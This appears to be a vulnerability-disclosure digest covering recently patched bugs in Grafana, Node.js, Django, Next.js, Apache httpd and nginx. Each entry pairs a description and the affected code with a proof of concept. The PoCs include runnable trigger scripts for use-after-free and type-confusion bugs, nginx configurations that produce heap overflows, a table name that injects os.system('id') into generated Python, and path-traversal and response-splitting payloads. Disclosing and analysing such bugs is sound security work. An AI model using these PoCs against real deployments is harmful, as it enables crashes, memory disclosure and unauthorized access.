📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Tuesday, September 1, 2026

📋 Today’s Briefing

637
Total Findings
182
Confirmed CVEs
361
Verified
6
Unverified
88
False Positives
CRITICAL: 11 HIGH: 328 MEDIUM: 184 LOW: 26
182 CVE matched
143 found before CVE
22 avg lead (days)
126 max lead (days)

🔥 HIGH VERIFIED Broken Access Control / Missing Authorization (Insecure Direct Object Reference)

Jul 24, 2026, 10:08 AM — grafana/grafana

Commit: 2376f13c46f1ad97cc9ce4d2ceeec4bd3e7200d3

Author: Fayzal Ghantiwala

Before this patch, the notification-history app installer did not wire in an AccessClient or enable RBAC filtering, so notification history queries were not restricted to folders the requesting user is authorized to read via `alert.rules:read`. This allowed any authenticated user (in a multi-tenant deployment) to query and view notification history for alert rules/folders belonging to other tenants or users without the required permissions, leaking potentially sensitive alerting/notification data across tenant boundaries.

🔍 View Affected Code & PoC

Affected Code

appSpecificConfig.Notifications = &historianAppConfig.NotificationConfig{
    ...
    Loki: historianAppConfig.LokiConfig{ LokiConfig: lokiConfig },
    // RBACEnabled and AccessClient were not set, so no folder-based
    // authorization was applied to notification history queries.
}

Proof of Concept

In a multi-tenant Grafana deployment with notification history enabled, an authenticated low-privilege user (no `alert.rules:read` grant on Folder X) sends a request such as `GET /apis/notifications.alerting.grafana.app/v0alpha1/namespaces/<tenant>/notificationhistory?folder=FolderX` — prior to the patch this request succeeds and returns notification history entries for alert rules in Folder X even though the user lacks the folder-level permission, because the historian app never consulted the AccessClient/RBAC layer to filter results by accessible folders.

🔥 HIGH VERIFIED Use-After-Free

Jul 23, 2026, 02:37 PM — nodejs/node

Commit: fd41198dff0f902c9fe66c481034eb5a02efb288

Author: Matteo Collina

DatabaseSync::Exec() and ApplyChangeset() held only a raw DatabaseSync* pointer while invoking sqlite3_exec()/sqlite3changeset_apply(), which can call back into JavaScript (user-defined functions, conflict/filter handlers). If the JS callback drops the last reference to the DatabaseSync JS object, V8's GC (which does not see the raw C++ pointer) can collect it, and subsequent use of the now-freed db pointer inside the SQLite C API leads to a use-after-free that can corrupt memory or be leveraged for further exploitation. The patch adds a BaseObjectPtr&lt;DatabaseSync&gt; guard to keep a strong reference alive for the duration of the call.

🔍 View Affected Code & PoC

Affected Code

int r = sqlite3_exec(db->connection_, *sql, nullptr, nullptr, nullptr);
CHECK_ERROR_OR_THROW(env->isolate(), db, r, SQLITE_OK, void());
...
int r = sqlite3changeset_apply(db->connection_, ...);

Proof of Concept

const { DatabaseSync } = require('node:sqlite');
let db = new DatabaseSync(':memory:');
db.function('gc_and_free', () => {
  db = null; // drop last JS reference to DatabaseSync
  global.gc(); // force garbage collection (run with --expose-gc)
  return 1;
});
// Calling exec triggers the UDF, which drops references and forces GC
// while sqlite3_exec is still using db->connection_, causing UAF
db.exec('SELECT gc_and_free()');
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-15307 Code/Output Injection (CRLF injection into generated Python source)

Jul 23, 2026, 12:55 PM — django/django

📈 Patch landed 12 days 5 hours 36 minutes before CVE published

Commit: d8cedcab5241725003eef059dd76c533f24c5430

Author: mundur

inspectdb generates a Python models.py file by writing raw table names and exception messages directly into comment lines without escaping. If a table name or an introspection error message contains newline characters, the unescaped output breaks out of the '#' comment prefix and injects arbitrary attacker-controlled lines into the generated source file, which is later imported/executed as Python code.

🔍 View Affected Code & PoC

Affected Code

except Exception as e:
    yield "# Unable to inspect table '%s'" % table_name
    yield "# The error was: %s" % e
    continue

Proof of Concept

Create (or have introspection report) a table name such as "evil\nimport os; os.system('id')\n#" or trigger an introspection error whose message is "boom\nimport os; os.system('id')". When 'python manage.py inspectdb' is run and the output redirected to models.py, the injected newline causes the malicious line to appear outside the '#' comment, so it becomes executable Python code that runs when the generated models.py is imported by Django.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-17033 Path Traversal

Jul 23, 2026, 11:59 AM — grafana/grafana

📈 Patch landed 32 days 3 hours 32 minutes before CVE published

Commit: 774db0605417b600aa3b5a3f0252cb34433bf9fc

Author: Kevin Minehart Tenorio

The localRepository's Create, Update, Write, Delete, and Move functions joined user-controlled paths (e.g. derived from folder/dashboard titles during export) directly with the repository root using safepath.Join without verifying the result stayed within the root directory. An attacker-controlled title containing traversal sequences like '../../../etc' could cause file writes, deletes, or moves outside the intended repository folder on the local filesystem.

🔍 View Affected Code & PoC

Affected Code

fpath := safepath.Join(r.path, filepath)
_, err := os.Stat(fpath)
...
path = safepath.Join(r.path, path)
...
fpath = safepath.Join(r.path, fpath)

Proof of Concept

Provisioning export with a folder title such as '../../../../etc/evil' would resolve to a path outside the repository root; calling Write(ctx, "../../../../etc/evil.json", ref, data, comment) before the patch would write attacker-controlled content to /etc/evil.json instead of being blocked, whereas after the patch resolvePath returns apierrors.NewBadRequest("the path '../../../../etc/evil.json' escapes the repository root").

🔥 HIGH VERIFIED Missing Authorization / Privilege Escalation

Jul 22, 2026, 08:52 PM — grafana/grafana

Commit: 7b51fece7a0c2f86feb435b780e4a1b00ab0be66

Author: maicon

When force-deleting a folder via kubernetesFolderCascadeDelete, the cascade delete operation ran under a service identity that bypasses per-resource permission checks. A user who only had folders:delete permission (but not alert.rules:delete or folders:write on contained resources) could trigger deletion of alert rules and library elements within the folder subtree that they had no rights to access or modify, since only the top-level folder delete permission was checked before the entire cascade ran with elevated service-identity privileges.

🔍 View Affected Code & PoC

Affected Code

cascadeCtx := identity.WithServiceIdentityContext(ctx, ns.OrgID)
return s.cascadeDelete(cascadeCtx, ns.Value, name, cascadeDeleteOptions(options), true)
// cascadeDelete recursively deletes alert rules/library elements without
// checking requester's alert.rules:delete or folders:write permissions

Proof of Concept

1. User A is granted `folders:delete` on folder F but has no `alert.rules:delete` or `folders:write` permission on alert rules/library elements inside F (owned/managed by another team).
2. User A sends DELETE request with grace period 0 to force-delete folder F via the k8s folder API: `DELETE /apis/folder.grafana.app/v1/namespaces/default/folders/F?gracePeriodSeconds=0`.
3. Because kubernetesFolderCascadeDelete cascades under a service identity, the alert rules and library elements inside F (and any nested subfolders) are deleted without any check that User A actually has delete rights on those specific resources, resulting in unauthorized destruction of alert rules/library elements they could not otherwise delete directly.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-64641 Denial of Service (Resource Exhaustion)

Jul 21, 2026, 04:46 PM — vercel/next.js

📈 Patch landed 1 day 6 hours 12 minutes before CVE published

Commit: 019628571641dec57aaf349ba0c360e3964e6f12

Author: Sebastian "Sebbie" Silbermann

The action ID validation logic for MPA (non-JS) form submissions iterated over all form data keys and, for any key starting with $ACTION_REF_, performed expensive decoding/validation work with no limit on the number of such keys. An attacker could submit a form with an enormous number of $ACTION_REF_ fields to force the server to perform excessive processing per request, exhausting CPU/memory and causing a denial of service. The patch caps processing to at most 2 $ACTION_REF_ fields (the expected maximum for legitimate forms) and short-circuits validation once that limit is exceeded.

🔍 View Affected Code & PoC

Affected Code

} else if (key.startsWith($ACTION_REF_)) {
  // Bound args case
  const actionDescriptorField =
    $ACTION_ + key.slice($ACTION_REF_.length) + ':0'

Proof of Concept

Send a POST request to a Next.js app with Server Actions enabled, with a multipart/form-data body containing an enormous number of fields whose names start with '$ACTION_REF_' (e.g., $ACTION_REF_1, $ACTION_REF_2, ... $ACTION_REF_100000), each with attacker-controlled values. Before the patch, areAllActionIdsValid would process every single one of these fields (attempting expensive decode/validation logic) with no upper bound, allowing a single crafted request to consume disproportionate CPU/memory on the server and degrade or crash the service for other users.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-64646 Denial of Service (Missing Resource Limit / DoS via unbounded request body)

Jul 21, 2026, 04:46 PM — vercel/next.js

📈 Patch landed 1 day 6 hours 15 minutes before CVE published

Commit: 669426f454e032a2a823bc66df3a8d19e306ac83

Author: Sebastian "Sebbie" Silbermann

In the Edge runtime, Server Actions did not enforce the `serverActions.bodySizeLimit` configuration when reading request bodies (both multipart and non-multipart). The `// TODO: add body limit` comment confirms the limit check was never implemented for Edge, allowing attackers to send arbitrarily large request bodies to Server Actions running on Edge runtime, potentially exhausting memory/CPU resources despite the developer having configured a body size limit.

🔍 View Affected Code & PoC

Affected Code

if (isMultipartAction) {
  // TODO: Add streaming support
  const formData = await req.request.formData()
  // TODO: add body limit

Proof of Concept

POST a multipart/form-data request to a Server Action route running on the Edge runtime (`export const runtime = 'edge'`) with a payload far exceeding the configured `serverActions.bodySizeLimit` (e.g., a 100MB form field), even though `next.config.js` sets `bodySizeLimit: '1mb'`. Before the patch, the request would be processed in full without rejection, unlike the Node.js runtime path which enforced the limit, enabling resource exhaustion attacks against Edge-deployed Server Actions.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-64644 Denial of Service (ReDoS/CPU exhaustion via slow content-type detection)

Jul 21, 2026, 04:46 PM — vercel/next.js

📈 Patch landed 1 day 6 hours 15 minutes before CVE published

Commit: 93cb90891402fa4c47798d03cb9e05c13233766c

Author: Sebastian "Sebbie" Silbermann

The previous detectContentType() implementation scanned the entire uploaded/upstream image buffer (including running a full sharp metadata parse and regex-based SVG detection over the whole buffer) to determine the image format, which allowed an attacker to submit a large or crafted file (e.g. large whitespace-padded pseudo-SVG or crafted image data) that would block the Node.js event loop for a long time during synchronous/CPU-heavy processing. This could be used to cause a denial of service against the image optimization endpoint. The patch limits the SVG detection to a bounded scan, removes the fallback to full sharp metadata parsing on the whole buffer, and only inspects the first 1024 bytes via the lightweight detector, greatly reducing worst-case CPU/blocking time.

🔍 View Affected Code & PoC

Affected Code

format = detector(buffer)
if (!format && !skipMetadata) {
  const sharp = getSharp(concurrency, operationCache)
  const meta = await sharp(buffer).metadata().catch((_) => null)
  format = meta?.format
}

Proof of Concept

Send a request to the image optimizer endpoint (e.g. /_next/image?url=...) pointing to an attacker-controlled upstream that returns a 50MB+ file consisting mostly of whitespace/padding designed to look like an SVG (as added in test 'should return null for over 50MB of whitespace' and 'slow.svg.txt'). The old detectContentType() would scan/parse the entire buffer (including invoking sharp's metadata() on large binary data) causing significant event-loop blocking time per request, allowing repeated requests to degrade server responsiveness (DoS).

⚠️ MEDIUM VERIFIED Sensitive Data Exposure / Insecure Memory Handling (CWE-226: Sensitive Information in Resource Not Removed Before Reuse)

Jul 21, 2026, 03:46 PM — nodejs/node

Commit: 81145bf60b6d943bf03a5b52b305db1c248b6fab

Author: Filip Skokan

Private key material (RSA d/p/q/dp/dq/qi, EC private scalar, DH private key) exported from OpenSSL 3 providers into BIGNUM copies was freed with BN_free instead of BN_clear_free, leaving the raw private key bytes in freed heap memory instead of being zeroed out. Similarly, OSSL_PARAM builder copies and the plaintext DER intermediate buffer used during encrypted PEM export were freed without cleansing, allowing sensitive key material to persist in process memory after use. This can enable extraction of private keys via memory disclosure vulnerabilities (heap dumps, core dumps, cold-boot attacks, or other memory-reading bugs).

🔍 View Affected Code & PoC

Affected Code

DeleteFnPtr<BIGNUM, BN_free> d_;
DeleteFnPtr<BIGNUM, BN_free> p_;
...
OpenSSLBufferPointer der_storage(der); // no cleanse of DER-encoded private key

Proof of Concept

An attacker with the ability to read freed heap memory (e.g., via a heap-dump-inducing bug, core dump analysis, or another memory disclosure vulnerability in the same process) could, after a Node.js application calls crypto.generateKeyPairSync('rsa', ...) or exports a private key (KeyObject.export()) or performs DH key exchange, scan the freed heap for uncleared BIGNUM buffers (e.g. search for the raw big-endian byte pattern of the private exponent 'd' or DH private key) and recover the private key bytes, since BN_free() (the pre-patch destructor) does not zero the buffer before returning it to the allocator, unlike BN_clear_free() used post-patch.

⚠️ MEDIUM VERIFIED Null Pointer Dereference (CWE-476) leading to Denial of Service

Jul 21, 2026, 03:46 PM — nodejs/node

Commit: 3cfb063bd4b51632d2cf398ce4094bbf3eadba4a

Author: Filip Skokan

When exporting an RSA private key to JWK format, the code failed to check whether optional private parameters (d, p, q, dp, dq, qi) were successfully retrieved before passing them to the BIGNUM-to-JWK encoder. If an RSA key object has incomplete private parameters (e.g., loaded from a malformed or partial key), the null BIGNUM pointers were passed directly to SetEncodedValue, causing a crash (null pointer dereference) instead of a graceful error. The patch adds explicit null checks and throws a proper crypto operation error when required private key components are missing.

🔍 View Affected Code & PoC

Affected Code

if (key.GetKeyType() == kKeyTypePrivate) {
  auto pvt_key = rsa.getPrivateKey();
  if (SetEncodedValue(env, target, env->jwk_d_string(), pub_key.d)
          .IsNothing() ||
      SetEncodedValue(env, target, env->jwk_p_string(), pvt_key.p)

Proof of Concept

Construct or load an RSA private key object whose underlying EVP_PKEY has only n/e (public) parameters but is typed as a private key (e.g., via a crafted PKCS#8/DER blob with missing d/p/q/dp/dq/qi fields, or via a provider that returns partial params). Then call crypto.createPrivateKey(keyMaterial).export({format:'jwk'}) on this incomplete key. Before the patch, ExportJWKRsaKey would call SetEncodedValue with pvt_key.p/q/dp/dq/qi being null BIGNUM pointers, causing a null pointer dereference and crashing the Node.js process (DoS) instead of throwing a catchable JS error.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-17183 Authorization Bypass / Improper Access Control

Jul 21, 2026, 01:28 PM — grafana/grafana

📈 Patch landed 29 days 5 hours 3 minutes before CVE published

Commit: cc44cf925ca7636fd646278349e625e0991cef5c

Author: Mihai Turdean

In the RBAC authz Check/BatchCheck flow, requests with an empty resource name but a specified parent folder were incorrectly answered by a capabilities-style early return that allows access if the user holds the action on ANY scope, ignoring the folder entirely. This let a user with permission on an unrelated folder (or resource instance) be granted access to folder-scoped queries such as 'can I list/set-permissions within folder X', effectively bypassing folder-based access restrictions.

🔍 View Affected Code & PoC

Affected Code

if req.Name == "" && req.Verb != utils.VerbCreate {
    if t.Scope("") == "*" {
        return scopeMap["*"], nil
    }
    ... early-return using any-scope check ...
}

Proof of Concept

Grant a user permission only on folder 'other' (e.g., scope 'folders:uid:other' for action 'dashboards.permissions:write'). Then issue a Check request: {Action: 'dashboards.permissions:write', Resource: 'dashboards', Name: '', ParentFolder: 'parent', Verb: 'set_permissions'}. Before the patch, because Name is empty and Verb != create, the capabilities early-return checks scopeMap for ANY scope match and returns true (allowed) even though the user has no permission on 'parent' folder — an over-grant. After the patch, since ParentFolder is non-empty and the resource supports folders, the request falls through to normal folder-inheritance evaluation and correctly returns false.

💡 LOW VERIFIED NULL Pointer Dereference (DoS)

Jul 20, 2026, 07:50 PM — apache/httpd

Commit: 2b3075af7326cd84196a2d90211f4f40f42f68ea

Author: Eric Covener

The fixup_dir function in mod_dir.c called strcmp on r-&gt;content_type without checking for NULL, causing a segfault when a request is not mapped to any content type (e.g., no matching handler or type). An attacker or specific server configuration causing requests to reach this code path with a NULL content_type could crash the worker process, resulting in denial of service.

🔍 View Affected Code & PoC

Affected Code

if (d->checkhandler == MODDIR_ON && strcmp(r->handler, DIR_MAGIC_TYPE)) {
    if (!strcmp(r->content_type, DIR_MAGIC_TYPE)) { 
        r->content_type = NULL;
    }
    return DECLINED;

Proof of Concept

Configure a server with CheckSpelling or similar directive combined with mod_dir's handler check enabled, and send a request to a resource path that maps to no content-type (e.g. a request that bypasses normal type-checking modules, leaving r->content_type as NULL). Example: request a URI for a file with no matching mod_mime type mapping and no default handler set, such as `GET /somefile.unknownext HTTP/1.1` on a server configured with `CheckSpelling On` and minimal type configuration, causing r->content_type to remain NULL when fixup_dir is invoked, triggering strcmp(NULL, DIR_MAGIC_TYPE) and crashing the Apache worker process (segfault).

⚠️ MEDIUM VERIFIED Security Control Bypass / Improper Input Validation

Jul 20, 2026, 03:45 PM — grafana/grafana

Commit: f50cf61264381656f017879a46721c84209226a7

Author: Yuri Tseretyan

When the LimitEmailToOrgMembers setting is enabled, Grafana restricts email notification integrations to only send to addresses belonging to organization members, preventing data exfiltration of alert data to arbitrary external emails. The email validator only checked V1 email integration configs and silently skipped V0 (Mimir) email integrations, allowing a user able to configure contact points to bypass the org-membership restriction entirely by using the V0mimir1 email integration type with arbitrary 'to' addresses.

🔍 View Affected Code & PoC

Affected Code

func (v *OrgUserEmailValidator) ValidateIntegrationConfig(...) error {
  if integration.Type != schema.EmailType || integration.Version != schema.V1 { // TODO: support v0
    return nil
  }
  ...

Proof of Concept

With LimitEmailToOrgMembers enabled, create a contact point integration of type 'email' with schema version 'v0mimir1' and set settings: {"to": "[email protected]", "from": "[email protected]", "smarthost": "localhost:25"}. Because ValidateIntegration/ValidateIntegrationConfig skips any config whose Version != schema.V1, this integration passes validation unchecked, allowing alert payloads (which may contain sensitive data) to be emailed to [email protected] despite the org-membership restriction that would block the same address in a V1 email integration.

⚠️ MEDIUM VERIFIED Out-of-bounds Read / Buffer Over-read

Jul 20, 2026, 10:08 AM — apache/httpd

Commit: 7c6129b51935d9165241279637915eaf905c58f1

Author: Joe Orton

The v2 PROXY protocol parser accessed src_addr/dst_addr/ports fields in the TCPv4/TCPv6 union without validating that the header's declared address length (hdr-&gt;v2.len) was large enough to actually contain those fields. A malicious or malformed proxy sender could send a v2 header with fam=0x11 or 0x21 but a len field smaller than sizeof(ip4)/sizeof(ip6), causing the code to read beyond the actual received data (into uninitialized or adjacent stack/heap memory) when extracting the address and port values.

🔍 View Affected Code & PoC

Affected Code

case 0x11:  /* TCPv4 */
    ret = apr_sockaddr_info_get(&conn_conf->client_addr, NULL,
                                APR_INET,
                                ntohs(hdr->v2.addr.ip4.src_port),
                                0, c->pool);

Proof of Concept

Send a PROXY v2 header with signature bytes, cmd=0x01 (PROXY), fam=0x11 (TCPv4), but set the 2-byte length field to a small value (e.g., 0) while providing only 0 bytes of address payload after the 16-byte fixed header, then close/short the connection. The parser will still read hdr->v2.addr.ip4.src_addr, dst_addr, src_port, dst_port (12 bytes) even though len declared 0 bytes available, causing a read past the validated/received buffer region and potentially leaking uninitialized memory content used as the perceived source IP/port in logs or headers.

⚠️ MEDIUM VERIFIED Type Confusion / TOCTOU (Time-of-check-to-time-of-use)

Jul 20, 2026, 05:24 AM — nodejs/node

Commit: 00917ba54c26ce02cb5bf869fd1d7affd8c19a54

Author: Trivikram Kamat

The FFI implementation read the `signature.arguments`/`signature.return` values twice: once in native code to configure the actual native call interface (CIF), and again in JavaScript to build the argument-marshaling wrapper. Because `signature` could be a Proxy or an object with getters, a malicious signature object could return a large argument list (e.g., 8 arguments) to the native code establishing the CIF, then return a smaller list (e.g., 1 argument) to the JavaScript wrapper, causing the wrapper to pass fewer arguments than the native function actually expects, resulting in the native call reading uninitialized/stack memory for the unsupplied arguments.

🔍 View Affected Code & PoC

Affected Code

DynamicLibrary.prototype.getFunction = function getFunction(name, signature) {
  const raw = FunctionPrototypeCall(rawGetFunction, this, name, signature);
  return wrapFFIFunction(raw, signature.arguments, signature.return, this);
};

Proof of Concept

const signature = {
  get arguments() {
    // First read (native CIF setup) returns 8 args; second read (JS wrapper) returns 1
    this._reads = (this._reads||0)+1;
    return this._reads === 1 ? Array(8).fill('i32') : ['i32'];
  },
  get return() { return 'i32'; }
};
const fn = lib.getFunction('sum_8_i32', signature);
// fn is now wrapped as taking 1 argument, but the native CIF expects 8.
// Calling fn(1) causes the native function to read 7 additional arguments
// from uninitialized stack/register state, leaking memory or crashing the process.
fn(1);

⚠️ MEDIUM VERIFIED Out-of-bounds Read / Use of Uninitialized Memory

Jul 17, 2026, 10:02 PM — nginx/nginx

Commit: 95a24d1b9cdd89608c601748e2fdfe94fb81e7b3

Author: Vadim Zhestikov

In ngx_http_image_filter_module.c, ctx-&gt;length was set to the allocation size (image_filter_buffer) rather than the actual number of bytes received from the upstream when Content-Length was absent. If the upstream connection was truncated before filling the buffer, the image size parser and image decoders (ngx_http_image_size(), ngx_http_image_source()) would read/parse past the valid received data into uninitialized heap memory, potentially leaking memory contents or causing crashes when processing the resulting 'image' data (e.g., via JSON size output or generated thumbnail).

🔍 View Affected Code & PoC

Affected Code

if (b->last_buf) {
    ctx->last = p;
    return NGX_OK;
}
// ctx->length remains == allocation size (image_filter_buffer), not actual bytes read

Proof of Concept

Configure nginx with image_filter enabled proxying to an upstream that sends a response without a Content-Length header and closes the connection early after sending only a few bytes (less than image_filter_buffer, e.g., 100 bytes of a valid JPEG header). Because ctx->length is set to the full buffer size (default 1M) instead of the ~100 bytes actually received, ngx_http_image_size() or the GD decoders will read/parse the uninitialized remainder of the buffer as if it were valid image data, potentially exposing uninitialized memory in the JSON size response (width/height fields derived from garbage) or causing erratic decoder behavior. This matches the nginx-tests case image_filter_truncated.t used to verify the fix.

🔥 HIGH VERIFIED Use-After-Free (CWE-416)

Jul 17, 2026, 12:39 PM — nodejs/node

Commit: 46de80de88c6ab0fc1fa27aa4d51804c7e989da4

Author: esgor

In node's HTTP/2 implementation, nghttp2_session_mem_recv() could trigger callbacks (e.g., on receiving RST_STREAM or via JS callbacks during data delivery) that synchronously destroy an Http2Stream or invoke SendPendingData()/nghttp2_session_mem_send(), freeing nghttp2 internal stream state that is still being used by the in-progress mem_recv() call. This allows a remote peer to send crafted HTTP/2 frames (e.g., interleaved RST_STREAM and DATA frames) that cause the session to close/free stream memory mid-parse, leading to heap-use-after-free that can crash the process or potentially be leveraged for further exploitation.

🔍 View Affected Code & PoC

Affected Code

void Http2Stream::Destroy() {
  if (is_destroyed()) return;
  if (session_->has_pending_rststream(id_))
    FlushRstStream();
  set_destroyed();
  ...
}
// SendPendingData() had no guard against being called while
// nghttp2_session_mem_recv() was still processing incoming data.

Proof of Concept

A remote HTTP/2 client sends a sequence of frames on a Node.js HTTP/2 server such that within a single TCP read (single nghttp2_session_mem_recv() call) it: 1) opens a stream and sends HEADERS causing the JS 'stream' event, 2) immediately follows with a RST_STREAM frame for that same stream id in the same TCP packet/buffer. While nghttp2 is still processing subsequent frames in mem_recv (still referencing the stream's internal nghttp2_stream struct), the RST_STREAM handling path (SubmitRstStream/FlushRstStream) previously invoked nghttp2_submit_rst_stream + nghttp2_session_mem_send synchronously, freeing/closing the stream object mid-parse. Repeated rapid RST_STREAM injections combined with pipelined frames (similar to HTTP/2 Rapid Reset style attacks) can reliably trigger use of freed nghttp2 stream memory in nghttp2_session_mem_recv(), causing a crash (DoS) as tracked in nodejs/node#64113.

🔥 HIGH VERIFIED Use-After-Free / Race Condition (CWE-416, CWE-362)

Jul 17, 2026, 12:12 PM — apache/httpd

Commit: 54862287191d004a52ad080a20e4e947133b3e09

Author: Joe Orton

In mod_ldap's cache handling, the code released the LDAP cache lock after fetching a 'curl' (URL cache node) pointer and then re-acquired the lock later to access curl's sub-caches (compare_cache, dn_compare_cache). Between the unlock and re-lock, another worker thread/process could evict or free that URL node from the cache, leaving 'curl' as a dangling pointer that is subsequently dereferenced, causing memory corruption or a crash. The fix holds the lock continuously across the fetch-and-use sequence and re-fetches the URL node under the lock before write-back operations.

🔍 View Affected Code & PoC

Affected Code

curl = util_ald_cache_fetch(st->util_ldap_cache, &curnode);
ldap_cache_unlock(st, r);
...
ldap_cache_lock(st, r);
node = util_ald_cache_fetch(curl->dn_compare_cache, &newnode); // curl may be stale/freed

Proof of Concept

In a multi-worker httpd deployment using mod_ldap with mod_authnz_ldap for concurrent LDAP-authenticated requests: Thread A calls uldap_cache_comparedn(), fetches 'curl' pointer for URL X, then unlocks the cache. Before Thread A re-locks and dereferences curl->dn_compare_cache, Thread B triggers eviction of the LRU cache entry for URL X (e.g., by causing enough distinct LDAP URLs/caches to be created, exceeding cache size, via requests to many different LDAP backends or repeated cache churn), freeing the memory backing 'curl'. Thread A then dereferences the freed 'curl' pointer, leading to a use-after-free that can crash the worker process (DoS) or potentially be leveraged for further memory corruption under specific allocator conditions. Repeated concurrent LDAP auth requests reliably trigger the race and intermittent worker crashes, as noted in the changelog entry 'Fix intermittent worker crashes under concurrent LDAP-authenticated requests.'

⚠️ MEDIUM VERIFIED HTTP Response Splitting / Request Smuggling via Header Injection

Jul 17, 2026, 12:12 PM — apache/httpd

Commit: 753188653c2e139ffbeead6eacdb179adfa14826

Author: Joe Orton

Before the patch, mod_cern_meta.c merged every header line found in a .meta file directly into the outgoing response headers without restriction. Because HTTP framing-related headers (Transfer-Encoding, Content-Length, Connection, Trailer, Upgrade, Keep-Alive, TE) were not filtered, an attacker who could influence the content of a .meta file (e.g. via file upload, misconfiguration, or shared hosting) could set arbitrary or conflicting framing headers, enabling HTTP response splitting or request smuggling against clients or intermediary proxies. The fix explicitly rejects these framing headers and returns a 500 error if they are present in a .meta file.

🔍 View Affected Code & PoC

Affected Code

else {
    apr_table_set(tmp_headers, w, l);
}

Proof of Concept

Create a .meta file (e.g. index.html.meta in the MetaDir) containing:

Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

When Apache serves the associated resource with MetaFiles on, mod_cern_meta merges this header list verbatim into the response. The injected Content-Length (and potentially Transfer-Encoding) header creates a framing mismatch that can be leveraged for HTTP response splitting or request smuggling against downstream caches/proxies, allowing attacker-controlled content to be interpreted as a separate HTTP response.

⚠️ MEDIUM VERIFIED NULL Pointer Dereference (Denial of Service)

Jul 17, 2026, 12:12 PM — apache/httpd

Commit: 22dc622fc5c1cefcca4a889560ccc08a0592d2a4

Author: Joe Orton

When mod_remoteip processes a PROXY protocol v2 header with the LOCAL command, it returned without setting conn_conf-&gt;client_addr and client_ip, leaving them NULL. Later code that assumes these fields are populated (mirroring the v1 UNKNOWN path which was already fixed) would then dereference the NULL pointer, crashing the worker process. This is remotely triggerable by any client permitted to send a PROXY protocol header with the LOCAL command to a server with RemoteIPProxyProtocol enabled.

🔍 View Affected Code & PoC

Affected Code

switch (hdr->v2.ver_cmd & 0xF) {
    case 0x00: /* LOCAL command */
        /* keep local connection address for LOCAL */
        return HDR_DONE;

Proof of Concept

Connect to an Apache httpd server with mod_remoteip's RemoteIPProxyProtocol enabled, and send a PROXY protocol v2 header with the LOCAL command byte (ver_cmd & 0xF == 0x00), e.g. raw bytes: '\r\n\r\n\x00\r\nQUIT\n' (v2 signature) followed by version/command byte 0x20 (v2, LOCAL) and a zero length, then proceed with an HTTP request. Because client_addr/client_ip remain NULL after processing, subsequent code paths that read c->client_ip or conn_conf->client_addr will dereference NULL, crashing the httpd worker process (Denial of Service).

💡 LOW VERIFIED NULL Pointer Dereference (Denial of Service)

Jul 16, 2026, 07:27 PM — nginx/nginx

Commit: fc9749b4170d493868dfaf44411d8fd9325d2f47

Author: Vadim Zhestikov

When xmlCreatePushParserCtxt() fails to allocate a parser context (e.g., under memory pressure), ngx_http_xslt_add_chunk() returns NGX_ERROR without setting ctx-&gt;ctxt, but the caller ngx_http_xslt_body_filter() still dereferences ctx-&gt;ctxt-&gt;myDoc on the error path, causing a NULL pointer dereference and worker process crash. The patch adds a check for ctx-&gt;ctxt == NULL before dereferencing it, avoiding the crash and gracefully sending the response.

🔍 View Affected Code & PoC

Affected Code

if (ngx_http_xslt_add_chunk(r, ctx, cl->buf) != NGX_OK) {
    if (ctx->ctxt->myDoc) {
#if (NGX_HTTP_XSLT_REUSE_DTD)
        ...

Proof of Concept

Trigger memory allocation failure during libxml2 push parser context creation (e.g., by exhausting worker memory via many concurrent XSLT-filtered requests with large bodies) so that xmlCreatePushParserCtxt() returns NULL inside ngx_http_xslt_add_chunk(). The subsequent access to ctx->ctxt->myDoc in ngx_http_xslt_body_filter()'s error path dereferences a NULL pointer, crashing the nginx worker process and causing a denial of service for all connections handled by that worker.

🔥 HIGH VERIFIED Heap Buffer Overflow

Jul 15, 2026, 03:51 PM — nginx/nginx

Commit: b767540492e8c79a58bc26034d3bab2f708b7bd1

Author: Maxim Dounin

The nginx script engine (used for rewrite, map, set directives and complex value evaluation) computed the required buffer length in a first pass and then wrote data in a second pass without re-checking bounds. When variables with side effects (e.g., regex captures modifying other variables) or non-cacheable/volatile variables were evaluated, the length computed in the length-pass could become smaller than the actual data written in the copy-pass, causing a heap buffer overflow. This is exploitable via crafted configurations combining map/set with capturing regexes and volatile variables, which can be triggered by attacker-controlled request data (URI, headers) matched against the regex.

🔍 View Affected Code & PoC

Affected Code

e.ip = val->values;
e.pos = value->data;
e.buf = *value;
while (*(uintptr_t *) e.ip) {
    code = *(ngx_http_script_code_pt *) e.ip;
    code((ngx_http_script_engine_t *) &e);
}

Proof of Concept

Configure nginx with:
map $uri $map {
    ~(?<capture>.*) $capture;
}
set $capture "";
set $temp "$capture $map";

Send a request with a URI whose length triggers a mismatch between the length-computation pass (using old $capture value) and the copy pass (using the value set by the map block, which mutates $capture as a side effect). This causes the second pass to write more bytes than allocated, overflowing the heap buffer allocated for $temp. Similarly, using a volatile variable like:
map prefix:$capture $map_volatile {
    volatile;
    ~(?<capture>.*) $capture;
}
set $capture "";
set $temp "$map_volatile";
can cause the variable's length to differ between the length and copy phases (since it's re-evaluated non-cacheably), leading to the same heap overflow when e.g. an attacker sends a request whose URI capture group value changes in length between evaluations.

⚠️ MEDIUM VERIFIED Information Disclosure / Uninitialized Memory Exposure

Jul 15, 2026, 03:51 PM — nginx/nginx

Commit: a8289aa69c74f7e664ad63b91c17aa2a554f190f

Author: Roman Arutyunyan

The nginx script engine predicted a maximum length for computed variables/rewrite results (based on regex capture group max sizes) but the actual output could be shorter, especially with variable-length regex captures. The code returned the full predicted-length buffer without truncating to actual written length, leaking uninitialized (garbage) heap memory bytes to clients in HTTP responses via variables set by 'set', 'return', or map directives using regex captures.

🔍 View Affected Code & PoC

Affected Code

value->len = len;
value->data = ngx_pnalloc(r->pool, len);
...
code((ngx_http_script_engine_t *) &e);
...
*value = e.buf;  // buf.len is the predicted max length, not actual written length

Proof of Concept

Configure:
  map $uri $foo {
      ~^/(?<bar>[0-9]).*$ $bar;
  }
  location ~(?<bar>[0-9]*)[a-z]*$ {
      return 200 $1:$foo;
  }
Then request: GET /1234abcd
